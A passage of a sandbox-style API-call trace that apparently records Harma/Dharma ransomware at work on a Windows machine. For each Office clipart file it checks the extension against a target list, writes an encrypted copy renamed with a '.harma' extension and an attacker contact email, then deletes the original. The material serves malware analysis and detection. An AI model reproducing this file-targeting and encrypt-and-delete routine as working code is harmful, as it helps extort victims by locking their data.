(lpString1=".jpg", lpString2=".WMF") returned -1 [0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.005] lstrlenW (lpString=".doc") returned 4 [0168.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.005] lstrlenW (lpString=".docx") returned 5 [0168.006] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.006] lstrlenW (lpString=".pdf") returned 4 [0168.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.006] lstrlenW (lpString=".xls") returned 4 [0168.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.006] lstrlenW (lpString=".xlsx") returned 5 [0168.006] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.006] lstrlenW (lpString=".ppt") returned 4 [0168.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.006] lstrlenW (lpString=".zip") returned 4 [0168.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.006] lstrlenW (lpString=".rar") returned 4 [0168.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.006] lstrlenW (lpString=".bz2") returned 4 [0168.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.006] lstrlenW (lpString=".7z") returned 3 [0168.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.006] lstrlenW (lpString=".dbf") returned 4 [0168.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.006] lstrlenW (lpString=".1cd") returned 4 [0168.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0168.006] lstrlenW (lpString=".jpg") returned 4 [0168.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.007] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.007] lstrlenW (lpString="J0105360.WMF") returned 12 [0168.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0168.036] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=8860) returned 1 [0168.036] CloseHandle (hObject=0x3a0) returned 1 [0168.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 0x20 [0168.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.052] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.052] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0168.054] GetLastError () returned 0x0 [0168.054] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x229c, lpOverlapped=0x0) returned 1 [0168.099] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x22a0, lpOverlapped=0x0) returned 1 [0168.100] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.100] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.100] SetEndOfFile (hFile=0x210) returned 1 [0168.100] CloseHandle (hObject=0x210) returned 1 [0168.101] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.101] SetEndOfFile (hFile=0x33c) returned 1 [0168.103] CloseHandle (hObject=0x33c) returned 1 [0168.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0168.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.105] lstrlenW (lpString=".doc") returned 4 [0168.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.105] lstrlenW (lpString=".docx") returned 5 [0168.105] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.105] lstrlenW (lpString=".pdf") returned 4 [0168.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.105] lstrlenW (lpString=".xls") returned 4 [0168.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.105] lstrlenW (lpString=".xlsx") returned 5 [0168.105] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.105] lstrlenW (lpString=".ppt") returned 4 [0168.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.105] lstrlenW (lpString=".zip") returned 4 [0168.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.105] lstrlenW (lpString=".rar") returned 4 [0168.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.105] lstrlenW (lpString=".bz2") returned 4 [0168.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.105] lstrlenW (lpString=".7z") returned 3 [0168.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.106] lstrlenW (lpString=".dbf") returned 4 [0168.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.106] lstrlenW (lpString=".1cd") returned 4 [0168.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.106] lstrlenW (lpString=".jpg") returned 4 [0168.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.106] lstrlenW (lpString=".doc") returned 4 [0168.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.106] lstrlenW (lpString=".docx") returned 5 [0168.106] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.106] lstrlenW (lpString=".pdf") returned 4 [0168.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.106] lstrlenW (lpString=".xls") returned 4 [0168.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.106] lstrlenW (lpString=".xlsx") returned 5 [0168.106] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.106] lstrlenW (lpString=".ppt") returned 4 [0168.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.106] lstrlenW (lpString=".zip") returned 4 [0168.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.106] lstrlenW (lpString=".rar") returned 4 [0168.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.107] lstrlenW (lpString=".bz2") returned 4 [0168.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.107] lstrlenW (lpString=".7z") returned 3 [0168.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.107] lstrlenW (lpString=".dbf") returned 4 [0168.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.107] lstrlenW (lpString=".1cd") returned 4 [0168.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0168.107] lstrlenW (lpString=".jpg") returned 4 [0168.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.107] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.107] lstrlenW (lpString="J0105384.WMF") returned 12 [0168.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.108] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5880) returned 1 [0168.108] CloseHandle (hObject=0x33c) returned 1 [0168.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 0x20 [0168.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.109] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.109] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0168.110] GetLastError () returned 0x0 [0168.110] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x16f8, lpOverlapped=0x0) returned 1 [0168.202] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0168.203] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.203] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.204] SetEndOfFile (hFile=0x210) returned 1 [0168.204] CloseHandle (hObject=0x210) returned 1 [0168.204] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.204] SetEndOfFile (hFile=0x33c) returned 1 [0168.206] CloseHandle (hObject=0x33c) returned 1 [0168.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.208] lstrlenW (lpString=".doc") returned 4 [0168.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.208] lstrlenW (lpString=".docx") returned 5 [0168.208] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.208] lstrlenW (lpString=".pdf") returned 4 [0168.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.208] lstrlenW (lpString=".xls") returned 4 [0168.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.208] lstrlenW (lpString=".xlsx") returned 5 [0168.208] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.208] lstrlenW (lpString=".ppt") returned 4 [0168.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.208] lstrlenW (lpString=".zip") returned 4 [0168.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.208] lstrlenW (lpString=".rar") returned 4 [0168.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.208] lstrlenW (lpString=".bz2") returned 4 [0168.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.208] lstrlenW (lpString=".7z") returned 3 [0168.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.208] lstrlenW (lpString=".dbf") returned 4 [0168.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.208] lstrlenW (lpString=".1cd") returned 4 [0168.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.209] lstrlenW (lpString=".jpg") returned 4 [0168.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.209] lstrlenW (lpString=".doc") returned 4 [0168.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.209] lstrlenW (lpString=".docx") returned 5 [0168.209] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.209] lstrlenW (lpString=".pdf") returned 4 [0168.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.209] lstrlenW (lpString=".xls") returned 4 [0168.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.209] lstrlenW (lpString=".xlsx") returned 5 [0168.209] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.209] lstrlenW (lpString=".ppt") returned 4 [0168.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.209] lstrlenW (lpString=".zip") returned 4 [0168.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.209] lstrlenW (lpString=".rar") returned 4 [0168.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.209] lstrlenW (lpString=".bz2") returned 4 [0168.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.209] lstrlenW (lpString=".7z") returned 3 [0168.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.209] lstrlenW (lpString=".dbf") returned 4 [0168.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.209] lstrlenW (lpString=".1cd") returned 4 [0168.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0168.210] lstrlenW (lpString=".jpg") returned 4 [0168.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.210] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.210] lstrlenW (lpString="J0105390.WMF") returned 12 [0168.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0168.273] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4944) returned 1 [0168.273] CloseHandle (hObject=0x348) returned 1 [0168.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 0x20 [0168.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.360] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.360] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0168.361] GetLastError () returned 0x0 [0168.361] ReadFile (in: hFile=0x370, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1350, lpOverlapped=0x0) returned 1 [0168.445] WriteFile (in: hFile=0x38c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0168.446] ReadFile (in: hFile=0x370, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.446] WriteFile (in: hFile=0x38c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.446] SetEndOfFile (hFile=0x38c) returned 1 [0168.447] CloseHandle (hObject=0x38c) returned 1 [0168.447] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.447] SetEndOfFile (hFile=0x370) returned 1 [0168.449] CloseHandle (hObject=0x370) returned 1 [0168.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0168.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.600] lstrlenW (lpString=".doc") returned 4 [0168.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.600] lstrlenW (lpString=".docx") returned 5 [0168.600] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.600] lstrlenW (lpString=".pdf") returned 4 [0168.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.600] lstrlenW (lpString=".xls") returned 4 [0168.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.600] lstrlenW (lpString=".xlsx") returned 5 [0168.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.600] lstrlenW (lpString=".ppt") returned 4 [0168.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.600] lstrlenW (lpString=".zip") returned 4 [0168.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.600] lstrlenW (lpString=".rar") returned 4 [0168.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.600] lstrlenW (lpString=".bz2") returned 4 [0168.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.600] lstrlenW (lpString=".7z") returned 3 [0168.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.600] lstrlenW (lpString=".dbf") returned 4 [0168.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.600] lstrlenW (lpString=".1cd") returned 4 [0168.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.600] lstrlenW (lpString=".jpg") returned 4 [0168.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.601] lstrlenW (lpString=".doc") returned 4 [0168.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.601] lstrlenW (lpString=".docx") returned 5 [0168.601] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.601] lstrlenW (lpString=".pdf") returned 4 [0168.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.601] lstrlenW (lpString=".xls") returned 4 [0168.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.601] lstrlenW (lpString=".xlsx") returned 5 [0168.601] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.601] lstrlenW 